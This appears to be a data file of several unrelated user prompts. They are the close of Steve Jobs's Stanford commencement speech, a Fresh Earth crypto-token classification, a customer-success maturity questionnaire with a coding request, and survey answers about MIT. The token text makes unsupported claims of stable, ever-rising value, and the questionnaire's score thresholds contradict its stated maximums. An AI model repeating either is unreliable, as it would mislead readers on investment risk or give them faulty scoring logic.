I found what I loved to do early in life. Woz and I started Apple in my parents garage when I was 20. We worked hard, and in 10 years Apple had grown from just the two of us in a garage into a $2 billion company with over 4000 employees. We had just released our finest creation the Macintosh a year earlier, and I had just turned 30. And then I got fired. How can you get fired from a company you started? Well, as Apple grew we hired someone who I thought was very talented to run the company with me, and for the first year or so things went well. But then our visions of the future began to diverge and eventually we had a falling out. When we did, our Board of Directors sided with him. So at 30 I was out. And very publicly out. What had been the focus of my entire adult life was gone, and it was devastating. I really didn\'t know what to do for a few months. I felt that I had let the previous generation of entrepreneurs down - that I had dropped the baton as it was being passed to me. I met with David Packard and Bob Noyce and tried to apologize for screwing up so badly. I was a very public failure, and I even thought about running away from the valley. But something slowly began to dawn on me I still loved what I did. The turn of events at Apple had not changed that one bit. I had been rejected, but I was still in love. And so I decided to start over. I didn\'t see it then, but it turned out that getting fired from Apple was the best thing that could have ever happened to me. The heaviness of being successful was replaced by the lightness of being a beginner again, less sure about everything. It freed me to enter one of the most creative periods of my life. During the next five years, I started a company named NeXT, another company named Pixar, and fell in love with an amazing woman who would become my wife. Pixar went on to create the worlds first computer animated feature film, Toy Story, and is now the most successful animation studio in the world. In a remarkable turn of events, Apple bought NeXT, I returned to Apple, and the technology we developed at NeXT is at the heart of Apple\'s current renaissance. And Laurene and I have a wonderful family together. I\'m pretty sure none of this would have happened if I hadn\'t been fired from Apple. It was awful tasting medicine, but I guess the patient needed it. Sometimes life hits you in the head with a brick. Don\'t lose faith. I\'m convinced that the only thing that kept me going was that I loved what I did. You\'ve got to find what you love. And that is as true for your work as it is for your lovers. Your work is going to fill a large part of your life, and the only way to be truly satisfied is to do what you believe is great work. And the only way to do great work is to love what you do. If you haven\'t found it yet, keep looking. Don\'t settle. As with all matters of the heart, you\'ll know when you find it. And, like any great relationship, it just gets better and better as the years roll on. So keep looking. Don\'t settle. My third story is about death. When I was 17, I read a quote that went something like: "If you live each day as if it was your last, someday you\'ll most certainly be right. " It made an impression on me, and since then, for the past 33 years, I have looked in the mirror every morning and asked myself: "If today were the last day of my life, would I want to do what I am about to do today?" And whenever the answer has been "No" for too many days in a row, I know I need to change something. Remembering that I\'ll be dead soon is the most important tool I\'ve ever encountered to help me make the big choices in life. Because almost everything all external expectations, all pride, all fear of embarrassment or failure - these things just fall away in the face of death, leaving only what is truly important. Remembering that you are going to die is the best way I know to avoid the trap of thinking you have something to lose. You are already naked. There is no reason not to follow your heart. About a year ago I was diagnosed with cancer. I had a scan at 7:30 in the morning, and it clearly showed a tumor on my pancreas. I didn\'t even know what a pancreas was. The doctors told me this was almost certainly a type of cancer that is incurable, and that I should expect to live no longer than three to six months. My doctor advised me to go home and get my affairs in order, which is doctor\'s code for prepare to die. It means to try to tell your kids everything you thought you\'d have the next 10 years to tell them in just a few months. It means to make sure everything is buttoned up so that it will be as easy as possible for your family. It means to say your goodbyes. I lived with that diagnosis all day. Later that evening I had a biopsy, where they stuck an endoscope down my throat, through my stomach and into my intestines, put a needle into my pancreas and got a few cells from the tumor. I was sedated, but my wife, who was there, told me that when they viewed the cells under a microscope the doctors started crying because it turned out to be a very rare form of pancreatic cancer that is curable with surgery. I had the surgery and thankfully I\'m fine now. This was the closest I\'ve been to facing death, and I hope its the closest I get for a few more decades. Having lived through it, I can now say this to you with a bit more certainty than when death was a useful but purely intellectual concept: No one wants to die. Even people who want to go to heaven don\'t want to die to get there. And yet death is the destination we all share. No one has ever escaped it. And that is as it should be, because Death is very likely the single best invention of Life. It is Life\'s change agent. It clears out the old to make way for the new. Right now the new is you, but someday not too long from now, you will gradually become the old and be cleared away. Sorry to be so dramatic, but it is quite true. Your time is limited, so don\'t waste it living someone else\'s life. Don\'t be trapped by dogma which is living with the results of other people\'s thinking. Don\'t let the noise of others\' opinions drown out your own inner voice. And most important, have the courage to follow your heart and intuition. They somehow already know what you truly want to become. Everything else is secondary. When I was young, there was an amazing publication called The Whole Earth Catalog, which was one of the bibles of my generation. It was created by a fellow named Stewart Brand not far from here in Menlo Park, and he brought it to life with his poetic touch. This was in the late 1960\'s, before personal computers and desktop publishing, so it was all made with typewriters, scissors, and polaroid cameras. It was sort of like Google in paperback form, 35 years before Google came along: it was idealistic, overflowing with neat tools, and great notions. Stewart and his team put out several issues of The Whole Earth Catalog, and then when it had run its course, they put out a final issue. It was the mid-1970s, and I was your age. On the back cover of their final issue was a photograph of an early morning country road, the kind you might find yourself hitchhiking on if you were so adventurous. Beneath it were the words: "Stay Hungry. Stay Foolish." It was their farewell message as they signed off. Stay Hungry. Stay Foolish. And I have always wished that for myself. And now, as you graduate to begin anew, I wish that for you. Stay Hungry. Stay Foolish. Thank you all very much. The preceding program is copyrighted by Stanford University. Please visit us at stanford.edu"\nVideo Summary:' -"please stand corrected, the FET is: Token Classification\nThe Fresh Earth Token is a unique combination of several different token archetypes, including utility, governance, community, asset-backed, and stablecoin. \n\nUtility: the token's ability to facilitate communication and collaboration between farmers, investors, government bodies, and other stakeholders in the regenerative agriculture ecosystem makes it a powerful tool for coordinating efforts and tracking progress within the ecosystem. \n\nGovernance: The token's decentralized autonomous organization (DAO) governance structure allows for transparent and democratic decision-making processes, further promoting coordination among ecosystem actors.\n\nCommunity: The above combined form the basis for a strong community archetype token.\n\nAsset based: The Fresh Earth Token is a store of value that can be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time. \n\nStable coin: The value of the Fresh Earth Token is linked to the success of the ecosystem and the impact of regenerative projects, allowing for a stable value of the token.\n\nIn Token Classification, the Fresh Earth Token is a Utility Token that functions as a governance token, and is structured as a community token and an asset-backed token.\n\nUnderlying Value of the Fresh Earth Token is based on fractional ownership, impact validation and an economic engine that is built into the ecosystem to drive investment and impact. Assets includes real-world assets, key performance indicators, and access and participation that are all linked to the ecosystem's ability to promote sustainable practices and address the pressing issues of climate change, health, and food security. \n\nShare-Like value includes fractional ownership, rights and privileges, and impact leverage, which all contribute to the ecosystem's ability to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nNetwork Value is built on trust and utility, supply and demand, and network growth, all of which are designed to create a comprehensive, community-based food system that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume.\n\nThe Fresh Earth ecosystem's classification can be broken down into several key areas.\n\nA. Morphological Domain\n\nToken Form: The Fresh Earth Token is a digital token that is built on the Hashgraph HTS (Hedera Hashgraph Token Service) platform, using Guardian nodes from the Hedera network. This allows for a secure and efficient token form that can be easily integrated into the Fresh Earth ecosystem.\n\nToken Function: The Fresh Earth Token serves several functions within the ecosystem, including as fractional ownership, a means of access, a medium of exchange, a governance tool, and a store of value. These functions are facilitated by its integration with the Hashgraph HTS platform and the decentralized autonomous organization (DAO) governance structure.\n\nToken Structure: The Fresh Earth Token is a decentralized autonomous organization (DAO) that manages the food ecosystem business. It is governed by a set of smart contracts and is controlled by token holders. The Fresh Earth Token is structured as a utility token, with a finite supply that is determined by the ecosystem's needs and growth. The token is also designed to be divisible, which allows for fractional ownership and increased accessibility within the ecosystem.\n\nToken Relationship: The Fresh Earth Token has a symbiotic relationships with regenerated land and land and health of people, and to the growing value of those assets and others within the Fresh Earth ecosystem. The token is also integrated with the Hashgraph HTS platform, which allows for efficient and secure transactions within the ecosystem, further contributing to its value and utility.\n\nB. Pseudo-Archetypes\n\nUtility Token: The Fresh Earth token serves as a utility token, allowing holders to access and participate in the Fresh Earth ecosystem’s products, services, knowledge base and rewards system. It is also a medium of exchange, and a store of value.\n\nGovernance Token: The Fresh Earth Token is governed by a set of smart contracts and is controlled by token holders, allowing for decentralized decision-making within the ecosystem.\n\nCommunity Token: The Fresh Earth Token is a digital collaborative community that empowers individuals and businesses to take control of their food sources and improve the quality and nutritional density of the food they consume. This includes the ability to participate in Fresh Earth Projects, advocacy groups, Buying Groups and Research Groups. \n\nAsset-Backed Token: The Fresh Earth Token represents fractional ownership of the ecosystem, and is valued based on the assets of the ecosystem and the impact of regenerative projects. with its underlying value tied to the value of real-world assets such as the monetizable value of carbon sequestration, biodiversity, water retention, and food nutritional density. These assets are measured by key performance indicators (KPIs) that provide verified measurements of impact, that can be leveraged to secure external funding from government schemes such as carbon trading. They enable the token to access and participate in multiple markets, such as carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land, and not least the monetizable value of the massive data accumulation\n\nStablecoin: As an Assets Based Fractional Ownership Token, the Fresh Earth Token is linked to the assets mentioned above. The asset values can be expanded on multiple fronts, by growth of the network, growth of the of tradable values such as carbon credits, and growth in the diversity of values such as water retention, biodiversity and animal welfare as Fresh Earth and society collaborate to value these. Therefore Fresh Earth will have the asset to token ratio to buyback tokens if needed to maintain the value, which fundamentally should always be increasing, as regrnerataed land is a finite source of ever increasing value.\n\nC. Underlying Value\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the ecosystem, allowing for investment in the ecosystem without having to purchase the entire ecosystem.\n\nImpact Validation: The Fresh Earth ecosystem includes a validation system that uses data to measure and validate the impact of regenerative practices, ensuring that the ecosystem is having a positive impact on the environment and society.\n\nEconomic Engine: The Fresh Earth ecosystem is designed to internalize the costs of the food system and redistribute the money back into the ecosystem through token sales and rewards, creating an economic engine for the ecosystem.\n\nD. Asset-Based\n\nReal-World Assets: The Fresh Earth ecosystem includes real-world assets such as carbon credits, biodiversity, water retention, and food nutritional density. Also Fresh Earth will own or have JV and licensing relationships with regenerative farming and production systems. See also above under Assets-Based Token\n\nKey Performance Indicators (KPIs): The Fresh Earth ecosystem includes IP such as Key Performance Indicators (KPIs), metrics used to measure and verify the impact of the Fresh Earth ecosystem's projects. \n\nAccess and Participation: The Fresh Earth ecosystem includes a B2B and B2C marketplace, a digital collaborative community, and a rewards system, allowing for access and participation in the ecosystem, and fractional ownership These KPIs provide verified measurements of impact that can be leveraged to secure external funding from various markets.\n\nE. Network Value\n\nTrust and Utility: The Fresh Earth ecosystem aims to create a transparent and verifiable impact for sustainable agrifood projects, thus building trust and utility. This trust is established through the use of blockchain technology, which provides a secure and decentralized platform for the ecosystem to operate on. The utility of the Fresh Earth Token lies in every aspect of the tolen, including its ability to represent fractional ownership of the ecosystem, the empowerment of individuals and businesses to take control of their food sources, their health, and participate in a transformed food system, and the token;s ability to incentivise regenerative behaviour through its reward system.\n\nSupply and Demand: The Fresh Earth ecosystem aims to balance the supply and demand for regenerative food products through its B2B and B2C marketplaces. By connecting regenerative farmers with businesses and consumers, the ecosystem aims to increase the supply of regenerative food products and create a greater demand for them. Additionally, the ecosystem's rewards system aims to incentivize participation and engagement, which in turn drives the demand for the Fresh Earth Token.\n\nNetwork Growth: The Fresh Earth ecosystem includes several networks including B2C, B2B, Digital Communities of both consumers and experts, farm and supplier networks, health practitioners etc. The networks are visible to each other and mutually reinforcing. The intermeshing components of the ecosystem are designed to promote network growth through its various incentive drivers, such as the rewards system and the validation system. As more individuals and businesses participate in the ecosystem, the network becomes more attractive, accelerating growth of the network (Metcalfe's Law.) and the value of the Fresh Earth Token. This empowers the ecosystem's impact on the environment and society. Additionally, the ecosystem's focus on regenerative agriculture practices and community-based food system promotes a positive feedback loop, where the success of the ecosystem drives more investment and greater impact, leading to greater value for token holders. Additionally, Fresh Earth consumers are incentivized and rewarded for their participation in the ecosystem, further driving network growth and increasing the value of the token.\n\nF. Share-Like\n\nFractional Ownership: The Fresh Earth Token represents fractional ownership of the Fresh Earth ecosystem. As a decentralized autonomous organization (DAO), the Fresh Earth ecosystem does not have shares, but each token represents an individual's fractional ownership of the ecosystem , which includes the monetizable regenerative value of a ha of land and health of a person. \n\nRights and Privileges: Holders of the token have certain rights and privileges, including voting power in governance decisions, access to discounted prices on regenerative food products, and access to the digital collaborative community. Additionally there are potential rewards for participating in the ecosystem, including rewards for participating in validation of key performance indicators (KPIs), for purchasing Fresh Earth food products, for referrals or for being a Fresh Earth ambassador.\n\nImpact Leverage: The Fresh Earth token leverages the future impact of regenerative projects, as measured by key performance indicators (KPIs), to secure external funding from carbon offsetting, pay for performance, impact investing, community-based financing, regenerative agriculture financing, water rights trading, biodiversity offsets, ecosystem services markets, conservation easements, benefit-sharing agreements, and community land trusts. These external funds are redistributed back to stakeholders in the form of rewards for participation, further adding value to the token.\n\nIncentive Enablers\nIncentive enablers are features or attributes of the token that facilitate the alignment of incentives between different participants. Fresh Earth tokens provide the following rights that enable stakeholders to participate in the ecosystem and benefit from its growth and success, amongst others:.\n\nRight to use: Fresh Earth tokens may be used to access services and content within the ecosystem, such as access to regenerative farming practices and regeneratively grown food products.\n\nRight to vote: Fresh Earth tokens may be used as a requirement for stakeholders to influence the decision-making of the decentralized autonomous organization (DAO) that manages the Fresh Earth ecosystem.\n\nUnit of account: Fresh Earth tokens may be used to measure the value of services, assets, labor and liabilities within the ecosystem.\n\nMedium of exchange: Fresh Earth tokens may be used as a medium of exchange to trade goods or services within the ecosystem.\n\nStore of value: Fresh Earth tokens may be held by stakeholders as a liquid financial reservoir, and may retain value and purchasing power over time.\n\nIncentive Drivers \nThe Fresh Earth ecosystem is designed to incentivize participation and engagement through a variety of different Incentive Drivers. In addition to the enablers, the Fresh Earth token also serves as a key driver for participation and engagement in the ecosystem. These include:\n\nGet Access: token grants access to services and content within the ecosystem\n\nGet Discount: token holders access discounts on services and content available within the ecosystem\n\nGet Revenue: allows actors within the ecosystem to monetize their participation\n\nGet Reward: token holders are rewarded for actions that contribute to the ecosystem's success and growth, such as adopting regenerative practices and registering land on the platform\n\nParticipate in Governance: token holders can use their tokens to shape the ecosystem's rules and decisions through decentralized governance\n\nAppreciation Potential, which allows token holders to benefit from the ecosystem's success or the uplift in value of the token, and get a share of it by holding, staking or selling tokens\n\nToken use cases and utility\nFresh Earth Tokens will have a number of key use cases and utilities within the Fresh Earth ecosystem. Firstly, they will be used as a means of access to the services and content provided within the ecosystem, such as marketplaces for regeneratively produced food and resources for regenerative farmers. Secondly, they will be used as a means of participation in the governance of the ecosystem, allowing token holders to vote on key decisions and proposals. Thirdly, they will serve as a unit of account and medium of exchange within the ecosystem, allowing for the measurement and intermediation of economic transactions. Finally, they will act as a store of value, with their value being tied to the success and growth of the ecosystem." -"We made a Customer Success Maturity Scan which you can find below. It is a questionairre customer success managers can fill in to find our the maturity level of their customer success organisation. Based on the score of they get an automated maturity report including advise. Can you write code baded on the scan below, so I can put it live on our webflow website:\n''\nQuestions: \nThree categories.\nMetrics and Data: Questions related to measuring and tracking customer success metrics, data analytics, AI or machine learning to improve customer success, customer data usage to segment, target and personalize customer interactions.\nOperations and Automation: Questions related to customer success technology, automation and optimization of customer interactions, granular level customer success tracking and actions taken to improve customer health.\nAccountability and Process: Questions related to accountability for retention, managing the renewal process, sharing customer information among different teams, determining the budget for customer success, identifying potential upselling opportunities, customer feedback usage, determining actions for customer success manager to improve customer health.\nMetrics and Data:\nHow does your company use data analytics, AI, or machine learning to improve customer success?\nHow does your company measure and track customer success metrics?\nHow does your company use customer data to segment, target and personalize customer interactions?\nHow does your company use customer feedback to drive customer success?\nOperations and Automation:\nHow does your company use customer success technology to automate and optimize customer interactions?\nHow does your company measure and track customer success at a granular level?\nHow does your company determine the actions for a customer success manager to improve customer health?\nAccountability and Process:\nWho holds accountability for retention?\nWho manages the renewal process?\nWhat is the process for sharing customer information among different teams?\nWhat factors are considered when determining the budget for customer success?\nWhat methods are used to identify potential upselling opportunities?\n\n\n\nIntroduction of the report: \nWelcome to the Customer Success Maturity Report. A comprehensive guide to understanding where your company stands when it comes to customer success and how to take the next step to excel in it.\nThis report is based on a survey that assesses the maturity of various aspects of customer success, including metrics and data, operations and automation, and accountability and process. The survey consisted of multiple-choice questions, and the answers were scored based on a range of possible values.\nWith this report, you will get a clear picture of your company's customer success maturity, pinpoint the areas that need improvement and discover best practices to elevate your customer success operations.\nWe hope you find this report valuable and insightful, and we are looking forward to working with you to improve your customer success operations.\nScoring: \n\nThe survey you have completed is designed to assess the maturity of your company's customer success department. Your answers to each question have been assigned a score based on a range of possible values, from 1 to 3. These scores have then been totaled for each category, Metrics and Data, Operations and Automation, and Accountability and Process.\n\nThe total possible score for each category is determined by the number of questions in that category and the values assigned to each answer.\n\nWe have also calculated an overall score which is the sum of the scores for all the questions across all categories.\n\nWe have established thresholds for each maturity level in each category and overall maturity level. You can check the maturity level that corresponds with your scores. The thresholds are:\n\nMetrics and Data \nThis category has 4 questions and each question is worth 1 to 3 points, the total possible score for that category would be 12 points (4 questions x 3 points each).\nLow maturity: Score below 5 points out of 9\nAverage maturity: Score between 5 and 7 points\nHigh maturity: Score above 7 points\n\nOperations and Automation\nThis category has 3 questions and each question is worth 1 to 3 points, the total possible score for that category would be 9 points (3 questions x 3 points each).\nLow maturity: Score below 7 points out of 12\nAverage maturity: Score between 7 and 9 points\nHigh maturity: Score above 9 points\n\nAccountability and Process \nThis category has 3 questions and each question is worth 1 to 3 points, the total possible score for that category would be 9 points (3 questions x 3 points each).\nLow maturity: Score below 7 points out of 15\nAverage maturity: Score between 7 and 11 points\nHigh maturity: Score above 11 points\n\nOverall Customer Success Maturity score\nFor an overall score, you would add up the scores for all the questions across all categories. The total possible score would be the sum of the total possible score for each category. There are 15 questions in total, and each question is worth 1 to 3 points, the total possible score would be 45 points (15 questions x 3 points each).\nLow maturity: Score below 30 points out of 45\nAverage maturity: Score between 30 and 37 points\nHigh maturity: Score above 37 points\nDown below you will find a more detailed analysis and drill down further on the scores, what it actually means for your company and what steps you can take to improve. \n\nAnalysis: \n\nHere's a description of the outcome for each of the categories:\n\nMetrics and Data:\nLow maturity: The company does not use data analytics, AI, or machine learning to improve customer success, does not measure or track customer success metrics, and does not use customer data to segment, target, and personalize customer interactions.\nOpportunities: By implementing data analytics, AI, or machine learning, the company can gain valuable insights into customer behavior and improve customer success. By tracking and analyzing customer success metrics, the company can identify areas of improvement and optimize customer interactions.\n\nThreats: Without data analytics, AI, or machine learning, the company may not be able to identify key customer trends or potential issues, and may struggle to improve customer success.\n\nAdvice for going from low to medium maturity could include:\nStarting by identifying key metrics to track customer success\nImplementing basic data analytics tools to track those metrics\nSetting up a process to analyze the data and identify areas of improvement\nStarting to segment customers based on their data and personalize the interactions.\n\nAverage maturity: The company uses basic data analytics to improve customer success, measures and tracks basic customer success metrics, but does not use customer data to segment, target, and personalize customer interactions.\nOpportunities: By implementing more advanced data analytics, AI or machine learning, the company can gain even more valuable insights into customer behavior and improve customer success. By tracking and analyzing customer success metrics in more detail, the company can identify more areas of improvement and optimize customer interactions even further.\nThreats: Without more advanced data analytics, AI or machine learning, the company may miss opportunities to gain deeper insights into customer behavior and improve customer success.\nAdvice:\nImplement more advanced data analytics tools to track customer success metrics in more detail\nImplement machine learning models to gain deeper insights into customer behavior\nSet up a process to analyze the data and identify areas of improvement on a more granular level\nPersonalize interactions based on customer segmentation and behavior patterns\n\nHigh maturity: The company uses advanced data analytics, AI, or machine learning to improve customer success, measures and tracks customer success metrics, and uses customer data to segment, target, and personalize customer interactions.\nOpportunities: The company can continue to gain valuable insights into customer behavior and improve customer success by using even more advanced data analytics, AI or machine learning techniques.\nThreats: The company will be able to identify only a limited number of new areas for improvement.\nAdvice:\nContinuously monitor and analyze customer data for new insights\nContinuously improve the machine learning models\nContinuously improve the customer segmentation and behavior patterns\nContinuously improve the personalization of interactions\nOperations and Automation:\nLow maturity: The company does not use customer success technology to automate and optimize customer interactions, does not measure or track customer success at a granular level, and does not determine actions for customer success managers to improve customer health.\nOpportunities: By automating and optimizing customer interactions, the company can improve efficiency and customer satisfaction. By measuring and tracking customer success at a granular level, the company can identify areas of improvement and optimize customer interactions.\nThreats: Without automation and optimization, the company may struggle to keep up with customer interactions, and may miss opportunities for improvement.\nAdvice: \nStart by identifying key metrics to track customer success\nImplement a CRM or other customer success technology to automate customer interactions\nSet up a process for regularly reviewing and analyzing customer success metrics.\n\nAverage maturity: The company uses basic customer success technology to automate and optimize customer interactions, measures and tracks customer success at a basic level, but does not determine actions for customer success managers to improve customer health.\nOpportunities: By implementing more advanced customer success technology, the company can improve efficiency and customer satisfaction even further. By measuring and tracking customer success at an even more granular level, the company can identify even more areas of improvement and optimize customer interactions even further.\nThreats: Without more advanced customer success technology, the company may miss opportunities to improve efficiency and customer satisfaction.\nAdvice:\nImplement more advanced customer success technology to automate customer interactions\nImplement more advanced analytics tools to track customer success metrics in more detail\nSet up a process for regularly reviewing and analyzing customer success metrics on a more granular level\nContinuously monitor customer health and take actions to improve it\n\nHigh maturity: The company uses advanced customer success technology to automate and optimize customer interactions, measures and tracks customer success at a granular level, and determines actions for customer success managers to improve customer health\nOpportunities: The company can continue to improve efficiency and customer satisfaction by using even more advanced customer success technology and analytics.\nThreats: The company will be able to identify only a limited number of new areas for improvement.\nAdvice:\nContinuously monitor and analyze customer interactions for new opportunities to automate and optimize\nContinuously improve the customer success technology used\nContinuously monitor customer health and take actions to improve it\nContinuously monitor the CSMs performance and provide feedback\n\nAccountability and Process:\nLow maturity: No one holds accountability for retention, there is no process for managing the renewal process, sharing customer information among different teams, determining the budget for customer success, or identifying potential upselling opportunities.\nOpportunities: By defining and implementing clear processes and accountability, the company can improve customer success and increase revenue.\nThreats: Without clear processes and accountability, the company may struggle to manage customer interactions effectively, and may miss opportunities for improvement and upselling.\nAdvice: \nStart by defining clear processes for managing renewals\nSharing customer information\nDetermining the budget for customer success\nIdentify key stakeholders and assign accountability for customer success\nSet up a process for regularly reviewing and analyzing customer success metrics.\nAverage maturity: Basic processes are in place, but they are not clearly defined or followed consistently. There is no formal process for customer feedback usage, determining actions for customer success manager to improve customer health, or identifying potential upselling opportunities.\nOpportunities: By defining and implementing more advanced processes and accountability, the company can improve customer success and increase revenue even further.\nThreats: Without more advanced processes and accountability, the company may miss opportunities to manage customer interactions effectively, and may miss opportunities for improvement and upselling.\nActionable Advice:\nDefine more advanced processes for managing renewals, sharing customer information, and determining the budget for customer success\nIdentify key stakeholders and assign accountability for customer success on a more granular level\nSet up a process for regularly reviewing and analyzing customer success metrics\nUse customer feedback to drive customer success\nDetermine actions for customer success managers to improve customer health\n\nHigh maturity: Clear accountability and processes are in place, including a defined process for managing the renewal process, sharing customer information among different teams, determining the budget for customer success, identifying potential upselling opportunities, using customer feedback to drive customer success, and determining actions for customer success managers to improve customer health.\nOpportunities: The company can continue to improve customer success and increase revenue by refining and optimizing existing processes and accountability.\nThreats: The company will be able to identify only a limited number of new areas for improvement.\nAdvice:\nContinuously monitor and analyze customer interactions for new opportunities to optimize processes and accountability\nContinuously monitor customer health and take actions to improve it\nContinuously monitor the CSMs performance and provide feedback\nContinuously refine and optimize processes and accountability\n\nPlease note that these are just examples of the opportunities, threats, and actionable advice that can be provided depending on the scores and that the actual advice that is given will depend on the specific circumstances of the company.\n\nEND WORD\n\nThank you for taking the time to complete the survey and for sharing valuable insights into your company's customer success operations. We hope that the report has been informative and has helped you understand the maturity of your customer success department.\nBut let's not stop there! Improving customer success is an ongoing journey, and we're here to help you take the next step. If you're ready to level up your customer success strategy, then Churned AI's Customer Success Management platform is the perfect solution for you. With our cutting-edge technology and expert guidance, you can take your customer success to new heights.\nWant to see it in action? Book a demo on our website and experience the power of Churned AI for yourself. Trust us, you won't be disappointed.\nOnce again, thank you for your time, and we look forward to hearing from you soon\n\nBest regards,\nChurned" -'very good\nAwesome minds and high standards\nScience and tech industry\nVery strong university in science, engineering and math\nTechnological advances, mathematics, intelligence\nTechnology and science\nMath, intellect, creativity, research, breakthrough, best minds\nIntelligent computer science\nTechnology\nTechnology\nONE OF THE BEST IN THE WORLD.\nSmart students.\nEngineering and technological excellence that surpasses any other university.\nTechnology oriented in a liberal institution\nTechnological advances\nGreat education\nResearch\nMathematicians and geniuses as well as a well-known academic press.\nGreat school that produces great minds that help innovate all aspects of technology - robotics, etc.\nvery good\nWhat comes to mind when you think about MIT?\nnobel prizes\nInvention\nGreat minds working together\nMathematics and science\nMath, technology\nTechnology\nbrilliant minds\nscience\nexcellence in technology innovation\nScience and Technology\nVery smart people who are at the front of technology and development.\nit\'s innovative\nEngineering excellence\nTechnology\nvery intelligent people, technology, biotech\nTop tier technologies school.\nGreat scientific programs\nScience\nScience\nMassachusetts Institute of Technology\nPrestigious\nJimmy devlin\nEngineering\ncreative and steady\nWhat comes to mind when you think about MIT?\nTony Stark\nHIGHLY INTELLIGENT PEOPLE GO TO THIS UNIVERSITY\nMIT have a good reputation for developing modern technology and science\nTechnological subjects like computers and engineering.\nScience\nworld class academic institution\nSmart\nTechnology\nAdvanced quality higher education. Genius minds.\nScience technology\nTechnology\nTechnology.\nExcellence. Only the smartest of young people accepted. Theier graduates contribute greatly to mankind.\nGround breaking.\nEngineering\nInformation Tech.\nInformation tech\nThat is where howard went on the big bang\ntechnology\nCompetitive\ntechnology science\nengineering\npeople\nReminds me of the GNU Project set up by Richard Stallman in the 1980s.\nI think of the Harvard Bridge next to the campus\nI think of Building 10 at MIT as the iconic building of the university, the Great Dome.\nThe location of the department is on the Charles River in Cambridge, Massachusetts\nIt was the first architecture department in the history of the United States\nquality mathematics education\nWhat comes to mind when you think about MIT?\nIt is a first-class national university in the United States and the world\'s top research private university\nMassachusetts Institute of Technology MIT is the "world\'s most advanced technological university" and a first-class national university in the United\nStates.\nsmart people\nTechnology\nTechnology\nUsually think of how its profound especially for those who want to get into anything related to science or technology. They are one of the benchmark\nschools in that capacity\nInnovative and forward thinking university\nTechnology\nMIT is very good quality university\nOne of the best universities in science and engineering\nIt\'s a fun place to welcome talented people wherever they come from, okay\nThis is the type of installation that makes it possible for destructive technologies to be developed.\nThe college is home to a group of students and teachers who share the ideals of creating a better world\nAn inclusive university And very famous\nUnique management style and students rate them highly\nBest university for technology\nStudents have strong hands-on skills and good coordination\nUnique\nLawrence Summers, former U.S. Treasury Secretary; The 27th president of Harvard University; He received a doctorate in economics from Harvard\nUniversity in 1982\nThe college that every student yearns for\nIt is best university in technology industry\nINOVATION\nI think of innovation, responsibility, prestige and community-driven success.\nWhat comes to mind when you think about MIT?\nIt has best program in engneering and the physical sciences\nIt\'s a fancy university. The students are smart\nUniversity with wonderful students\nI think of Wolfgang Keitley, who won the 2001 Nobel Prize in Physics; He is currently a professor of physics at MIT\ngreat quality program\nStress\nWhere talent is welcome, no matter what country or race you are\nIt\'s a collection of talent from different parts of the world\nGreat school for technology\nTop of the line technological insitute that produces some of the best technicians in the world.\ntechnology\nEXCELLENT\ntechnology\nreally science oriented great university\nBetter\nHighly intelligent innovation\nBoston\nCreate technology projects for elementary aged students\nTop school in the northeast for technology\nExcellence\nMassachusetts Institute of Technology\nScience\nIntelligent people, forward thinking.\nTechnology and Science innovation\nWhat comes to mind when you think about MIT?\nAdvance engineering issues such as alternative energy\nSmart people science and tech\nExtremely intelligent students fought by PHD professors,\nPaving the way for innovations and advances in technology.\nengineering\nSmart people\nScience and technical based learning and discovery\nScience and technology\nBoston\nMath\nTechnology and science oriented\nSmart People\nTop innovative college, the car guys\nBrilliant minds\nIt\'s definitely the leading university as far as technology goes. I\'ve heard many good things about MIT and think it\'s a very prestigious school.\nBrilliant people\nSmart\nLeader in science and tech\ntechnology\nScience and Tech focused education\nScience\nLeader school that attracts talents and educates them in the best way possible.\nDiversity\nBoston, robots, high tech.\nWhat comes to mind when you think about MIT?\nTechnology innovation\nScience, engineering, math, intellectual\ncreative genius\'s who have changed the world\nInnovative\nVery smart computer nerds\nLeading university for developing new technology\nintelligence\nGood Will Hunting\nTop notch university that educates people to be able to take on and improve technology\nExcellence\nElite engineering school\nCreativity\nEngineering excellence\nSmart people\nscience\nScientific\nTechnology, smart and driven people, innovation.\nComputers\nExcellence in the education of engineering.\nTechnological advances\nscientific genius\ntechnology\nHigh Tech Electronics\nUnique\nWhat comes to mind when you think about MIT?\nVery smart people\nIt\'s in my mind cause Its STEM offerings, including top-tier science & mathemetics program\ntechnology\nSmArt\nGreat and perfect\nIt is very good and has great collages\nHighly intelligent students and staff\nInnovative\nHigh IQ, outside the box technology innovation ideas that also are available to the gen pop to help improve everyday lives as well as outer space\nand beyond\nEngineering students, mostly male\nthe best in tech\nTechnology and high potential income from graduates.\nInformation and Technology\nEngineering\nScience\nVery reputable university that offers the highest levels of learning and research in technical fields\nSmart technological minds\nPranks\ntechnology\nmy brother-in-law who graduated from there\nOnly the smartest go there\nCalifornia\nmath and science\nEngineering\nWhat comes to mind when you think about MIT?\nInnovation\nScientific innovation\nMechanical Engineers\nMIT is the best university in US.\nMath superiority\nTechnology and engineering\nBrilliant research; highly dedicated to math, science, and engineering topics.\nScience, technology, math and engineering\nadvancements in technology, addresses real world issues, attracts valuable personnel\nScience and math\nbrainy science, engineering, innovative\ntechnical geniuses\nknown for its advances in science medical discoveries in cancer. Computer sciences digital circuits developments\nComputer\ntechnical research\nComputer and engineering experts.\nscience\nScience\nnothing\nOne of the best university in the world.\nScience, technology, gifted students\nnothing really\nSmart students\nthat it is one of the best colleges in the the country.\nWhat comes to mind when you think about MIT?\nmath and science geniuses\nTechnology and innovation\nUniversity that specializes in the tech industries.\nengineering\nTechnology school\nVery smart, intimidating, genius\ngreat technological school\nEngineering\nadvanced technology research\na leader in technological research\nAdvancement\nmath and physics research\nTechnology based institute\nWonderful! Best talented students in science and technology. Top university in the world with top notch professors.\na supreme and superior engineering school. one of the very best engineering schools in the world and is a very highly selective school to get into.\nMIT is on the forefront of engineering discoveries and has fostered many companies.\nExcellence in science\nMath and science\nEngineering Excellence\nThe top minds in science and technology attend this school.\nintelligent young people, robotics\nIts good the MIT\nUniversities are generally equipped with better information resources and big libraries then other institutes\nI regret to inform you that all I know is that MIT is a Technology Institute on the East Coast. Pardon my ignorance.\nTechnology\nWhat comes to mind when you think about MIT?\nBright minds solving real-world problems.\nEngineers in all careers\nScience 